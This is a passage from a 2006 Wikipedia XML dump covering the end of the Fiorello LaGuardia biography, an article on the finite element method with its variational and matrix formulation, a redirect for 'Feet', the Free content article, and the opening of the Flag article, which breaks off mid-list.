LaGuardia was elected mayor of [[New York City]] on an anti-corruption &quot;fusion&quot; ticket during the [[Great Depression]], which united him in an uneasy alliance with New York's Jews and liberal bluebloods (Wasps). These included the famed architect and New York historian [[Isaac Newton Phelps-Stokes]] whose patrician manners LaGuardia detested. Surprisingly, the two men became friends. Phelps-Stokes had personally nursed his wife during the last five years of her life, during which she was paralysed and speechless due to a series of strokes. On learning of Phelps-Stokes's ordeal, so like his own, LaGuardia ceased all bickering and the two developed genuine affection for each other. 

LaGuardia was hardly an orthodox Republican. He also ran as the nominee of the [[American Labor Party]], a union-dominated anti-Tammany grouping that also ran FDR for President from 1936 onward. LaGuardia also supported Roosevelt. 

LaGuardia was the city's first [[Italian-American]] mayor, but LaGuardia was far from being a typical Italian New Yorker. After all, he was a [[Republican Party (United States)|Republican]] [[Episcopalian]] who had grown up in [[Arizona]], and had an [[Istrian]] Jewish mother and a [[Roman Catholic]]-turned-atheist [[Italy|Italian]] father. He reportedly spoke seven languages, including [[Hebrew language|Hebrew]], [[Hungarian language|Hungarian]], [[Italian language|Italian]], and [[Yiddish language|Yiddish]].

LaGuardia is famous for, among other things, restoring the economic lifeblood of [[New York City]] during and after the [[Great Depression]]. His massive public works programs employed thousands of unemployed New Yorkers and his constant lobbying for federal government funds allowed New York to establish the foundation for its economic infrastructure. He was also well known for reading the comics on the [[radio]] during a newspaper strike, and pushing to have a commercial airport ([[Floyd Bennett Field]], and now [[LaGuardia Airport]]) within city limits. He was also a very outspoken and early critic of [[Hitler]] and the [[Nazi]] regime.   In a public address as early as [[1934]], LaGuardia warned, &quot;Part of [Hitler’s] program is the complete annihilation of the Jews in Germany.&quot; In 1937, speaking before the Women’s Division of the [[American Jewish Congress]], LaGuardia called for the creation of a special pavilion at the upcoming [[1939 New York World's Fair|New York World’s Fair]]: &quot;a chamber of horrors&quot; for &quot;that brown-shirted fanatic.&quot;

LaGuardia was the director general for the [[UNRRA]] in 1946.

LaGuardia loved music and conducting, and was famous for spontaneously conducting professional and student orchestras that he visited. He once said that the &quot;most hopeful accomplishment&quot; of his long administration as mayor was the creation of the High School of Music &amp; Art in 1936, now the  [[Fiorello H. LaGuardia High School of Music &amp; Art and Performing Arts]]{{ref|Steigman}}. In addition to LaGuardia High School, a number of other instututions are also named for him, including [[LaGuardia Community College]]. He was also the subject of the [[Pulitzer Prize]]-winning Broadway musical ''[[Fiorello!]]''. He died in [[New York City]] of [[pancreatic cancer]] at the age of 64.

==External links==
* [http://bioguide.congress.gov/scripts/biodisplay.pl?index=L000007 Fiorello La Guardia] from the [[Biographical Directory of the United States Congress]]
* [http://www.fiorellolaguardia.lagcc.cuny.edu/laguardia/ Fiorello H. LaGuardia Collection of the La Guardia and Wagner Archives of the City University of New York]

==Numbered References==
#{{note|Steigman}} Steigman, Benjamin: ''Accent on Talent -- New York's High School of Music &amp; Art'' Wayne State University Press, 1984 ISBN64-13873.

{{start box}}
{{succession box | title = [[U.S. Congressional Delegations from New York|U.S. Representative&lt;br&gt;14th District of New York]] | before = [[Michael Francis Farley]] | after = [[Nathan D. Pearlman]] | years = [[1917]]&amp;ndash;[[1919]]}}
{{succession box | title = [[U.S. Congressional Delegations from New York|U.S. Representative&lt;br&gt;20th District of New York]] | before = [[Isaac Siegel]] | after = [[James J. Lanzetta]] | years = [[1922]]&amp;ndash;[[1933]]}}
{{succession box | before = [[John P. O'Brien]] | title = [[Mayors of New York City|Mayor of New York City]] | years = [[1934]]&amp;ndash;[[1945]] | after = [[William O'Dwyer]]}}
{{succession box | before = [[Herbert H. Lehman]] | title = [[UNRRA|Directors general of the UNRRA]] | years = [[1946]]&amp;ndash;[[1946]] | after = General [[Lowell Rooks]]}}
Fiorello LaGuardia was in Pi Lambda Phi Fraternity while attending college.
{{end box}}

{{New York City}}

[[Category:1882 births|LaGuardia, Fiorello H]]
[[Category:1947 deaths|LaGuardia, Fiorello H]]
[[Category:Bronxites|LaGuardia, Fiorello]]
[[Category:Episcopalians|LaGuardia, Fiorello]]
[[Category:Italian-Americans|LaGuardia, Fiorello]]
[[Category:Jewish-American politicians|LaGuardia, Fiorello]]
[[Category:Mayors of New York City|LaGuardia, Fiorello H]]
[[Category:Members of the United States House of Representatives from New York|LaGuardia, Fiorello H]]
[[Category:People from Arizona|LaGuardia, Fio]]

[[de:Fiorello LaGuardia]]
[[it:Fiorello LaGuardia]]
[[he:פיורלו לה גוארדיה]]</text>
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  </page>
  <page>
    <title>Finite element method</title>
    <id>11421</id>
    <revision>
      <id>42034697</id>
      <timestamp>2006-03-03T10:02:39Z</timestamp>
      <contributor>
        <ip>147.32.130.148</ip>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">The '''finite-element method''' ('''FEM''') originated from the needs for solving complex [[elasticity]], [[structural analysis]] problems in [[civil engineering]] and [[aeronautical engineering]]. Its development can be traced back to the work by A. Hrennikoff (1941) and R. Courant (1942). While the approaches used by these pioneers are dramatically different, they share one essential characteristic: [[Mesh (disambiguation) | mesh]] discretization of a continuous domain into a set of discrete sub-domains. Hrennikoff's work discretizes the domain by using lattice analogy while [[Richard Courant]]'s approach divides the domain into finite triangular subregions for solution of second order elliptic partial differential equations (PDEs), which arise from the problem of [[torsion (mechanics)|torsion]] of a [[cylinder (geometry)|cylinder]].  Courant's contribution was evolutionary, drawing on a large body of earlier results for PDEs developed by [[John Strutt, 3rd Baron Rayleigh|Rayleigh]], [[Walter Ritz|Ritz]], and [[Boris Grigoryevich Galerkin|Galerkin]].  Development of the finite element method began in earnest in the middle to late [[1950s]] for [[airframe]] and [[structural analysis]], and picked up a lot of steam at [[University of California, Berkeley|Berkeley]] (see [http://www.edwilson.org/History/fe-history.pdf Early Finite Element Research at Berkeley]) in the [[1960s]] for use in [[civil engineering]].  The method was provided with a rigorous mathematical foundation in [[1973]] with the publication of [[Gilbert Strang|Strang]] and Fix's ''An Analysis of The Finite Element Method'', and has since been generalized into a branch of applied mathematics for numerical modeling of physical systems in a wide variety of [[engineering]] disciplines, e.g., electromagnetics and [[fluid dynamics]].

The development of the [[finite element method in structural mechanics]] is often based on an energy principle, e.g., the [[virtual work]] principle or the [[minimum total potential energy principle]], which provides a general, intuitive and physical basis that has a great appeal to structural engineers.

[[Mathematics|Mathematically]], the finite element method (FEM) is used for finding approximate solution of [[partial differential equation]]s (PDE) as well as of [[integral equation]]s such as the [[heat equation|heat transport equation]].  The solution approach is based either on eliminating the differential equation completely (steady state problems), or rendering the PDE into an equivalent [[ordinary differential equation]], which is then solved using standard techniques such as [[finite difference]]s, etc. 

In solving [[partial differential equation]]s, the primary challenge is to create an equation which approximates the equation to be studied, but which is [[numerically stable]], meaning that errors in the input data and intermediate calculations do not accumulate and cause the resulting output to be meaningless. There are many ways of doing this, all with advantages and disadvantages. The Finite Element Method is a good choice for solving partial differential equations over complex domains (like cars and oil pipelines) or when the desired precision varies over the entire domain. For instance, in simulating the weather pattern on Earth, it is more important to have accurate predictions over land than over the wide-open sea, a demand that is achievable using the finite element method.

== Technical discussion ==

We will illustrate the finite element method using two sample problems from which the general method can be extrapolated. We assume that the reader is familiar with [[calculus]] and [[linear algebra]]. We will use the one-dimensional

:&lt;math&gt;\mbox{P1 }:\begin{cases}
u''=f \mbox{ in } (0,1), \\
u(0)=u(1)=0,
\end{cases}&lt;/math&gt;

where &lt;math&gt;f&lt;/math&gt; is given and &lt;math&gt;u&lt;/math&gt; is an unknown function of &lt;math&gt;x&lt;/math&gt;, and &lt;math&gt;u''&lt;/math&gt; is the second derivative of &lt;math&gt;u&lt;/math&gt; with respect to &lt;math&gt;x&lt;/math&gt;.
The two-dimensional sample problem is the [[Dirichlet problem]]

:&lt;math&gt;\mbox{P2 }:\begin{cases}
u_{xx}+u_{yy}=f &amp; \mbox{ in } \Omega, \\
u=0 &amp; \mbox{ on } \partial \Omega,
\end{cases}&lt;/math&gt;

where &lt;math&gt;\Omega&lt;/math&gt; is a connected open region in the &lt;math&gt;(x,y)&lt;/math&gt; plane whose boundary &lt;math&gt;\partial \Omega&lt;/math&gt; is &quot;nice&quot; (e.g., a [[smooth manifold]] or a [[polygon]]), and &lt;math&gt;u_{xx}&lt;/math&gt; and &lt;math&gt;u_{yy}&lt;/math&gt; denote the second derivatives with respect to &lt;math&gt;x&lt;/math&gt; and &lt;math&gt;y&lt;/math&gt;, respectively.

The problem P1 can be solved &quot;directly&quot; by computing antiderivatives. However, this method of solving the [[boundary value problem]] works only when there is only one spatial dimension and does not generalize to higher-dimensional problems or to problems like &lt;math&gt;u+u''=f&lt;/math&gt;. For this reason, we will develop the finite element method for P1 and outline its generalization to P2.

Our explanation will proceed in two steps, which mirror two essential steps one must take to solve a boundary value problem (BVP) using the FEM. In the first step, one rephrases the original BVP in its weak, or [[variational]] form. Little to no computation is usually required for this step, the transformation is done by hand on paper. The second step is the discretization, where the weak form is discretized in a finite dimensional space. After this second step, we have concrete formulae for a large but finite dimensional linear problem whose solution will approximately solve the original BVP. This finite dimensional problem is then implemented on a [[computer]] using a [[programming language]] such as [[C programming language|C]], [[Fortran]] or [[Matlab]].

== Variational formulation ==

The first step is to convert P1 and P2 into their [[variational]] equivalents. If &lt;math&gt;u&lt;/math&gt; solves P1, then for any smooth function &lt;math&gt;v&lt;/math&gt; we have

(1) &lt;math&gt;\int_0^1 f(t)v(t) \, dt = \int_0^1 u''(t)v(t) \, dt.&lt;/math&gt;

Conversely, if for a given &lt;math&gt;u&lt;/math&gt;, (1) holds for every smooth function &lt;math&gt;v(t)&lt;/math&gt; then one may show that this &lt;math&gt;u&lt;/math&gt; will solve P1. (The proof is nontrivial and uses [[Sobolev space]]s.)

By using integration by parts on the right-hand-side of (1), we obtain

(2)&lt;math&gt;\begin{matrix}\int_0^1 f(t)v(t) \, dt &amp; = &amp; \int_0^1 u''(t)v(t) \, dt \\
 &amp; = &amp; u'(t)v(t)|_0^1-\int_0^1 u'(t)v'(t) \, dt \\
 &amp; = &amp; -\int_0^1 u'(t)v'(t) \, dt = -\phi (u,v).\end{matrix}&lt;/math&gt;

where we have made the additional assumption that &lt;math&gt;v(0)=v(1)=0&lt;/math&gt;.

=== A proof outline of existence and uniqueness of the solution ===

We can define &lt;math&gt;H_0^1(0,1)&lt;/math&gt; to be the functions of &lt;math&gt;(0,1)&lt;/math&gt; of [[bounded variation]] that are &lt;math&gt;0&lt;/math&gt; at &lt;math&gt;x=0&lt;/math&gt; and &lt;math&gt;x=1&lt;/math&gt;. Such function are &quot;once differentiable&quot; and it turns out that the symmetric [[bilinear map]] &lt;math&gt;\phi&lt;/math&gt; then defines an [[inner product]] which turns &lt;math&gt;H_0^1(0,1)&lt;/math&gt; into a [[Hilbert space]] (a detailed proof is nontrivial.) On the other hand, the left-hand-side &lt;math&gt;\int_0^1 f(t)v(t)&lt;/math&gt; is also an inner product, this time on the [[Lp space]] &lt;math&gt;L^2(0,1)&lt;/math&gt;. An application of the [[Riesz representation theorem]] for Hilbert spaces shows that there is a unique &lt;math&gt;u&lt;/math&gt; solving (2) and therefore P1.

=== The variational form of P2 ===

If we integrate by parts using a form of [[Green's theorem]], we see that if &lt;math&gt;u&lt;/math&gt; solves P2, then for any &lt;math&gt;v&lt;/math&gt;:

:&lt;math&gt;\int_{\Omega} fv\,ds = -\int_{\Omega} \nabla u \cdot \nabla v \, ds = -\phi(u,v),&lt;/math&gt;

where &lt;math&gt;\nabla&lt;/math&gt; denotes the [[gradient]] and &lt;math&gt;\cdot&lt;/math&gt; denotes the [[dot product]] in the two-dimensional plane. Once more &lt;math&gt;\phi&lt;/math&gt; can be turned into an inner product on a suitable space &lt;math&gt;H_0^1(\Omega)&lt;/math&gt; of &quot;once differentiable&quot; functions of &lt;math&gt;\Omega&lt;/math&gt; that are zero on &lt;math&gt;\partial \Omega&lt;/math&gt;. We have also assumed that &lt;math&gt;v \in H_0^1(\Omega)&lt;/math&gt;. The space &lt;math&gt;H_0^1(\Omega)&lt;/math&gt; can no longer be defined in terms of functions of bounded variation, but see [[Sobolev space]]s. Existence and uniqueness of the solution can also be shown.

== Discretization ==
[[Image:Finite element method 1D illustration1.png|right|thumb|A function in ''H''&lt;sup&gt;1&lt;/sup&gt;&lt;sub&gt;0&lt;/sub&gt;, with zero values at the endpoints (blue), and a piecewise linear approximation (red).]]
[[Image:finite_element_triangulation.gif|right|thumbnail|180px|A piecewise linear function in two dimensions.]]

The basic idea is to replace the infinite dimensional linear problem

:&lt;math&gt;\begin{cases}\mbox{Find } u \mbox{ in } H_0^1 \mbox{ such that} \\
-\phi(u,v)=\int fv \;\;\; \forall v \in H_0^1, \end{cases}&lt;/math&gt;

with a finite dimensional version:

(3)&lt;math&gt;\begin{cases}\mbox{Find } u \mbox{ in } V \mbox{ such that} \\
-\phi(u,v)=\int fv \;\;\; \forall v \in V, \end{cases}&lt;/math&gt;

where &lt;math&gt;V&lt;/math&gt; is a finite dimensional [[Linear_subspace|subspace]] of &lt;math&gt;H_0^1&lt;/math&gt;. There are many possible choices for &lt;math&gt;V&lt;/math&gt; (one possibility leads to the [[spectral method]]). However, for the finite element method we take &lt;math&gt;V&lt;/math&gt; to be a space of piecewise linear functions.

For problem P1, we take the interval &lt;math&gt;(0,1)&lt;/math&gt;, choose &lt;math&gt;n&lt;/math&gt; &lt;math&gt;x&lt;/math&gt; values &lt;math&gt;0&lt;x_1&lt;...&lt;x_n&lt;1&lt;/math&gt; and we define &lt;math&gt;V&lt;/math&gt; by

:&lt;math&gt;\begin{matrix} V=\{u:[0,1] \rightarrow \Bbb R\;\mbox{ is continuous }|\;u|_{[x_k,x_{k+1}]} \mbox{ is linear, } \\
 k=0,...,n \mbox{ and } u(0)=u(1)=0 \} \end{matrix}&lt;/math&gt;
[[Image:Finite element method 1D illustration2.png|right|thumb|Basis functions ''v''&lt;sub&gt;''k''&lt;/sub&gt; (blue) and a linear combination of them, which is piecewise linear (red).]]

where we define &lt;math&gt;x_0=0&lt;/math&gt; and &lt;math&gt;x_{n+1}=1&lt;/math&gt;. Observe that functions in &lt;math&gt;V&lt;/math&gt; are not differentiable according to the elementary definition of calculus. Indeed, if &lt;math&gt;v \in V&lt;/math&gt; then the derivative is typically not defined at any &lt;math&gt;x=x_k&lt;/math&gt;, &lt;math&gt;k=1,...,n&lt;/math&gt;. However, the derivative exists at every other value of &lt;math&gt;x&lt;/math&gt; and one can use this derivative for the purpose of [[integration by parts]].

For problem P2, we need &lt;math&gt;V&lt;/math&gt; to be a set of functions of &lt;math&gt;\Omega&lt;/math&gt;. In the figure on the right, we have illustrated a triangulation of a 15 sided polygonal region &lt;math&gt;\Omega&lt;/math&gt; in the plane (below), and a piecewise linear function (above, in color) of this polygon which is linear on each triangle of the triangulation; the space &lt;math&gt;V&lt;/math&gt; would consist of functions that are linear on each triangle of the chosen triangulation.

One often reads &lt;math&gt;V_h&lt;/math&gt; instead of &lt;math&gt;V&lt;/math&gt; in the literature. The reason is that one hopes that as the underlying triangular grid becomes finer and finer, the solution of the discrete problem (3) will in some sense converge to the solution of the original boundary value problem P2. The triangulation is then indexed by a real valued parameter &lt;math&gt;h&gt;0&lt;/math&gt; which one takes to be very small. This parameter will be related to the size of the largest or average triangle in the triangulation. As we refine the triangulation, the space of piecewise linear functions &lt;math&gt;V&lt;/math&gt; must also change with &lt;math&gt;h&lt;/math&gt;, hence the notation &lt;math&gt;V_h&lt;/math&gt;. Since we do not perform such an analysis, we will not use this notation.

=== Choosing a basis ===

To complete the discretization, we must select a [[Basis (linear algebra)|basis]] of &lt;math&gt;V&lt;/math&gt;. In the one-dimensional case, for each control point &lt;math&gt;x_k&lt;/math&gt; we will choose the piecewise linear function &lt;math&gt;v_k&lt;/math&gt; in &lt;math&gt;V&lt;/math&gt; whose value is &lt;math&gt;1&lt;/math&gt; at &lt;math&gt;x_k&lt;/math&gt; and zero at every &lt;math&gt;x_j,\;j \neq k&lt;/math&gt;, i.e.,

:&lt;math&gt;v_{k}(x)=\begin{cases} {x-x_{k-1} \over x_k-x_{k-1}} &amp; \mbox{ if } x \in [x_{k-1},x_k], \\
{x_{k+1}-x \over x_{k+1}-x_k} &amp; \mbox{ if } x \in [x_k,x_{k+1}], \\
0 &amp; \mbox{ otherwise},\end{cases}&lt;/math&gt;

for &lt;math&gt;k=1,...,n&lt;/math&gt;. For the two-dimensional case, we choose again one basis function &lt;math&gt;v_k&lt;/math&gt; per vertex &lt;math&gt;x_k&lt;/math&gt; of the triangulation of the planar region &lt;math&gt;\Omega&lt;/math&gt;. The function &lt;math&gt;v_k&lt;/math&gt; is the unique function of &lt;math&gt;V&lt;/math&gt; whose value is &lt;math&gt;1&lt;/math&gt; at &lt;math&gt;x_k&lt;/math&gt; and zero at every &lt;math&gt;x_j,\;j \neq k&lt;/math&gt;.

Depending on the author, the word &quot;element&quot; in &quot;finite element method&quot; refers either to the triangles in the domain, the piecewise linear basis function, or both. So for instance, an author interested in curved domains might replace the triangles with curved primitives, in which case he might describe his elements as being curvilinear. On the other hand, some authors replace &quot;piecewise linear&quot; by &quot;piecewise quadratic&quot; or even &quot;piecewise polynomial&quot;. The author might then say &quot;higher order element&quot; instead of &quot;higher degree polynomial.&quot;

Methods that use higher degree piecewise polynomial basis functions are often called [[spectral element method]]s, especially if the degree of the polynomials increases as the triangulation size &lt;math&gt;h&lt;/math&gt; goes to zero.

=== Small support of the basis ===

The primary advantage of this choice of basis is that the inner products

:&lt;math&gt;&lt;v_j,v_k&gt;=\int_0^1 v_j v_k\,dx&lt;/math&gt;

and

:&lt;math&gt;\phi(v_j,v_k)=\int_0^1 v_j' v_k'\,dx&lt;/math&gt;

will be zero for almost all &lt;math&gt;j,k&lt;/math&gt;. In the one dimensional case, the [[support (mathematics)|support]] of &lt;math&gt;v_k&lt;/math&gt; is the interval &lt;math&gt;[x_{k-1},x_{k+1}]&lt;/math&gt;. Hence, the integrands of &lt;math&gt;&lt;v_j,v_k&gt;&lt;/math&gt; and &lt;math&gt;\phi(v_j,v_k)&lt;/math&gt; are identically zero whenever &lt;math&gt;|j-k|&gt;1&lt;/math&gt;.

Similarly, in the planar case, if &lt;math&gt;x_j&lt;/math&gt; and &lt;math&gt;x_k&lt;/math&gt; do not share an edge of the triangulation, then the integrals

:&lt;math&gt;\int_{\Omega} v_j v_k\,ds&lt;/math&gt;

and

:&lt;math&gt;\int_{\Omega} \nabla v_j \cdot \nabla v_k\,ds&lt;/math&gt;

are both zero.

=== Matrix form of the problem ===

If we write &lt;math&gt;u(x)=\sum_{k=1}^n u_k v_k(x)&lt;/math&gt; and &lt;math&gt;f(x)=\sum_{k=1}^n f_k v_k(x)&lt;/math&gt; then problem (3) becomes

(4) &lt;math&gt;-\sum_{k=1}^n u_k \phi (v_k,v_j) = \sum_{k=1}^n f_k \int v_k v_j&lt;/math&gt; for &lt;math&gt;j=1,...,n&lt;/math&gt;.

If we denote by &lt;math&gt;\mathbf{u}&lt;/math&gt; and &lt;math&gt;\mathbf{f}&lt;/math&gt; the column vectors &lt;math&gt;(u_1,...,u_n)^t&lt;/math&gt; and &lt;math&gt;(f_1,...,f_n)^t&lt;/math&gt;, and if let &lt;math&gt;L=(L_{ij})&lt;/math&gt; and &lt;math&gt;M=(M_{ij})&lt;/math&gt; be matrices whose entries are &lt;math&gt;L_{ij}=\phi (v_i,v_j)&lt;/math&gt; and &lt;math&gt;M_{ij}=\int v_i v_j&lt;/math&gt; then we may rephrase (4) as

(5) &lt;math&gt;-L \mathbf{u} = M \mathbf{f}&lt;/math&gt;.

As we have discussed before, most of the entries of &lt;math&gt;L&lt;/math&gt; and &lt;math&gt;M&lt;/math&gt; are zero because the basis functions &lt;math&gt;v_k&lt;/math&gt; have small support. So we now have to solve a linear system in the unknown &lt;math&gt;\mathbf{u}&lt;/math&gt; where most of the entries of the matrix &lt;math&gt;L&lt;/math&gt;, which we need to invert, are zero.

Such matrices are known as [[sparse matrix|sparse matrices]], and there are efficient solvers for such problems (much more efficient than actually inverting the matrix.) In addition, &lt;math&gt;L&lt;/math&gt; is symmetric, so a technique such as the [[conjugate gradient method]] is favored. For problems that are not too large, sparse [[LU decomposition]]s and [[Cholesky decomposition]]s still work well. For instance, [[Matlab]]'s backslash operator (which is based on sparse LU) can be sufficient for meshes with a hundred thousand vertices.

The matrix &lt;math&gt;L&lt;/math&gt; is usually referred to as the ''stiffness matrix'', while the matrix &lt;math&gt;M&lt;/math&gt; is dubbed the ''mass matrix''.

== Comparison to the finite difference method ==

The [[finite difference|finite difference method]] (FDM) is an alternative way for solving PDEs. The differences between FEM and FDM are:

*The most attractive feature of the FEM is its ability to handle complex geometries (and boundaries) with relative ease. While FDM in its basic form is restricted to handle rectangular shapes and simple alterations thereof, the handling of geometries in FEM is theoretically straightforward although the problem of computational time is strongly influenced by the ability to precondition the problem.

*The most attractive feature of finite differences is that it can be very easy to implement.

*There are several ways one could consider the FDM a subset of the FEM approach. One might choose basis functions as either [[piecewise]] [[constant function]]s or [[Dirac delta function]]s. In both approaches, the approximations are defined on the entire domain, but need not be continuous. Alternatively, one might define the function on a discrete domain, with the result that the continuous differential operator no longer makes sense, however this approach is not FEM.

*There are reasons to consider the mathematical foundation of the finite element approximation more sound, for instance, because the quality of the approximation between grid points is poor in FDM.

*The quality of a FEM approximation is often higher than in the corresponding FDM approach, but this is extremely problem dependent and several examples to the contrary can be provided.

==See also==
* [[Rayleigh-Ritz method]]
* [[Discrete element method]]
* [[Spectral method]]
* [[COMSOL Multiphysics]] is a finite element software package. Other ones are listed in the ''External links'' section below.

== External links ==

Open-source finite element software include Z88, SLFFEA, YADE, FEniCS, deal.II, libMesh, freeFEM, Elmer and Code-Aster.
* [http://www.diffpack.com/ Diffpack]
* [http://z88.org/ Z88]
* [http://slffea.sourceforge.net/ SLFFEA]
* [http://yade.berlios.de/ YADE]
* [http://www.fenics.org FEniCS]
* [http://www.dealii.org deal.II]
* [http://libmesh.sourceforge.net libMesh]
* [http://www.freefem.org freeFEM]
* [http://www.code-aster.org Code-Aster]
* [http://impact.sourceforge.net/ Impact]
* [http://www.imtek.uni-freiburg.de/simulation/mathematica/IMSweb/ IMTEK Mathematica Supplement (IMS)]
* [http://www.calculix.de Calculix]
* [http://www.csc.fi/elmer Elmer]
* [http://oofem.org OOFEM] -- a free, object oriented, general purpose FEM code

[[Category:Partial differential equations]]
[[Category:Numerical analysis]]
[[Category:Continuum mechanics]]

[[ca:Mètode d'elements finits]]
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[[fr:Méthode des éléments finis]]
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[[ja:有限要素法]]
[[pl:Metoda elementów skończonych]]
[[ru:Метод конечных элементов]]
[[sv:Finita elementmetoden]]</text>
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    <title>Feet</title>
    <id>11422</id>
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      <id>15909167</id>
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      <contributor>
        <username>JakeVortex</username>
        <id>5034</id>
      </contributor>
      <comment>seems to be more common link as unit of length. The rule that pages should be singular implies that [[foot|feet]] is preferred.</comment>
      <text xml:space="preserve">#REDIRECT [[Foot (unit of length)]]</text>
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  <page>
    <title>Free content</title>
    <id>11423</id>
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      <id>40073857</id>
      <timestamp>2006-02-17T23:13:29Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">'''''Free content''''', or free information, is any kind of [[functional work]], [[artwork]], or other creative content having no legal restriction relative to people's freedom to use, redistribute, improve, and share the content. Importantly, when free content is modified, expanded, or incorporated within another work, the resulting work must also be distributable as free content (see [[share-alike]]). To be considered free content, a work must allow modification and redistribution.

So free content encompasses all works in the [[public domain]] and also those [[copyright]]ed works whose [[license]]s honor and uphold the freedoms mentioned above. Because the law by default grants copyright holders [[monopoly|monopolistic control]] over their creations, copyrighted content must be explicitly declared free, usually by the referencing or inclusion of licensing statements from within the work.

A work in the public domain cannot be licensed because, by definition, its copyright has expired or has been relinquished. However, such a work is still considered free content, because it may be used for any purpose whatsoever. Free content can be viewed by all at no cost. 

==''Libre'' and ''gratis''==
Besides ''free'' as in ''freedom'', there is also another important meaning of the word ''free'': free of charge. The two meanings of the term ''free'' are often illustrated with the phrases &quot;[[free as in beer]],&quot; which alludes to monetary price or cost but has little to do with freedom, and &quot;[[free as in speech]],&quot; which alludes to the widely recognized [[freedom of speech]] (see, for example, the [[First Amendment to the United States Constitution]]), but which has little to do with monetary price or cost. The usage of &quot;free&quot; in &quot;free content&quot; carries only the latter meaning -- as in speech -- because the emphasis is on everyone's ''freedom'' to engage with the content, understand it, modify it, and share it with others. This ambiguity in the word ''free'' can create confusion, especially since many (but by no means all) free content works are also available at no charge.

Many languages other than English use two different words for these distinct concepts. In English, it is sometimes useful to use two less common but more precise words, the first adopted from [[French language|French]] or [[Spanish language|Spanish]] and the second from [[Latin]] (or [[Spanish language|Spanish]]): [[libre]] (meaning free as in speech) and [[gratis]] (meaning free as in beer). In these terms, ''free-content'' works are always ''libre'' but not necessarily ''gratis''.

==''Free content'' and ''open content''==
Free content licenses generally differ from [[open content]] licenses in that they require a &quot;source&quot; copy of the content to be provided. For example, a free content publisher should make the source document (e.g. [[InDesign]] or [[word-processor]] file) available along with a [[Portable Document Format|PDF]], which in this case would be considered the &quot;object&quot; copy of the creative work. Some free content licenses have stronger requirements. For example, the [[GNU Free Documentation License]] not only requires that a &quot;source&quot; copy of the content is provided, but that the source copy should be in a &quot;transparent&quot; format, in other words, in an open format whose specification is freely available to everybody.

==Free-content licenses==
Free-content licenses may be ''[[copyleft]]''&amp;mdash;in which case modifications of the work must themselves be distributed only under the terms of the original free license&amp;mdash;or else they are non-copyleft, which means that the licensed work may be modified and then distributed under a different license, even one that is less free.

Most free-content licenses contain provisions specifying that derivative works must attribute or give credit to the authors of the original, a requirement which promotes intellectual honesty and discourages [[plagiarism]] without imposing so great a burden as to weaken the claim of such licenses to being truly free.

The [[Design Science License]] (DSL), and [[GNU Free Documentation License]] (GFDL) are copyleft licenses for free content. The [[FreeBSD Documentation License]] is an example of a non-copyleft license. The [[GNU General Public License]] (GPL) can also be used as a free content license. 

Other examples of free content licenses are some of those published by [[Creative Commons]] when commercial use and derivative works are not restricted, although they do not require a &quot;source&quot; copy of the license be provided.  Note that not all Creative Commons licenses are ''free content'' as defined here. The [[Libre Society]] project also has some open content licenses and a critique of the creative commons philosophy.

The [http://iang.info/en/ IANG] license, doesn't comply with the definition of free content given here since it put many restrictions on the way you can redistribute the product.

==See also==
* [[Free encyclopedia]]
* [[Freedom]]
* [[Free software]]
* [[Freedom of information]]
* [[Commons]]
* [[Open content]]
* [[Public domain]]
* ''[[Free Culture]]''
* [[Open publishing]]
* [[Free Software Foundation]] 
* [[GNU]]
* [[GPL]]
* [[LGPL]]
* [[Open Source Initiative]]
* [[Free software licenses]]

[[Category:Copyright licenses]]
[[Category:Digital art]]
[[Category:Free content licenses|*]]
[[Category:Open source licenses]]

[[bg:Свободно съдържание]]
[[de:Freie Inhalte]]
[[es:Contenido libre]]
[[fa:محتویات آزاد]]
[[fr:Contenu libre]]
[[he:תוכן חופשי]]
[[hu:Szabad licenc]]
[[is:Frjálst efni]]
[[it:Contenuto libero]]
[[ja:フリーコンテント]]
[[ko:자유 문서]]
[[nl:Vrije inhoud]]
[[pt:Free content]]
[[ru:Википедия:Свободное содержание]]
[[zh:自由內容]]</text>
    </revision>
  </page>
  <page>
    <title>Flag</title>
    <id>11424</id>
    <revision>
      <id>42143218</id>
      <timestamp>2006-03-04T02:39:25Z</timestamp>
      <contributor>
        <username>Big Adamsky</username>
        <id>468840</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Tricolore flagpole.mirrored.jpg|right|thumb|200px|The [[tricolour]] [[flag of France]]]]

A '''flag''' is a piece of coloured [[cloth]] flown from a pole or mast, usually for purposes of signalling or identification. Flags were initially created for signalling, such as [[semaphore (communication)|semaphore]], and for the identification of those who displayed them, and are still used for that purpose today. Flags are also used in messaging or [[advertising]], or for decorative purposes, though at this less formal end the distinction between a flag and a simple cloth banner is blurred. Generally, a piece of cloth is a flag if it is flown like a flag, with one side attached, though many flags are recognisable if displayed in other forms.

The study of flags is known as [[vexillology]], from the [[Latin language|Latin]] ''vexillum'' meaning flag or [[banner]].

==History==

Although flag-like symbols have been used by ancient cultures for thousands of years, the origin of flags in the modern sense is a matter of dispute. Some believe flags originated in [[China]], others hold that the [[Roman Empire]]'s ''vexillum'' was the first true flag. Originally, the standards of the [[Roman legion]]s were not flags, but symbols like the [[eagle]] of [[Caesar]]'s [[Xth legion]]; this eagle would be placed on a staff for the standard-bearer to hold up during battle. But a military unit from [[Scythia]] had for a standard a [[dragon]] with a flexible tail which would move in the [[wind]]; the legions copied this; eventually all the legions had flexible standards — our modern-day flag.

During the [[Middle Ages]], flags were used mainly during battles to identify individual leaders: in [[Europe]] the [[knight]]s, in [[Japan]] the [[samurai]], and in [[China]] the [[general]]s under the imperial army.

From the time of [[Christopher Columbus]] onwards, it has been customary (and later a legal requirement) for ships to carry flags designating their nationality; these flags eventually evolved into the national flags and [[maritime flags]] of today. Flags also became the preferred means of communications at sea, resulting in various systems of flag signals; ''see [[International maritime signal flags]]''.

Beginning in the [[17th century]], European knights were replaced by centralized [[Army|armies]], and flags became the means to identify not just nationalities but also individual military units. Flags became much more elaborate, and were seen as objects to be captured or defended. Eventually these flags posed too much danger to those carrying them, and by [[World War I]] these were withdrawn from the battlefields, and have since been used only at ceremonial occasions.

== National flags ==
{{main|National flag}}

One of the most popular uses of a flag is to symbolize a [[nation]] or [[country]].  Some [[national flag]]s have been particularly inspirational to other nations, countries, or subnational entities in the design of their own flags.  Some prominent examples include:

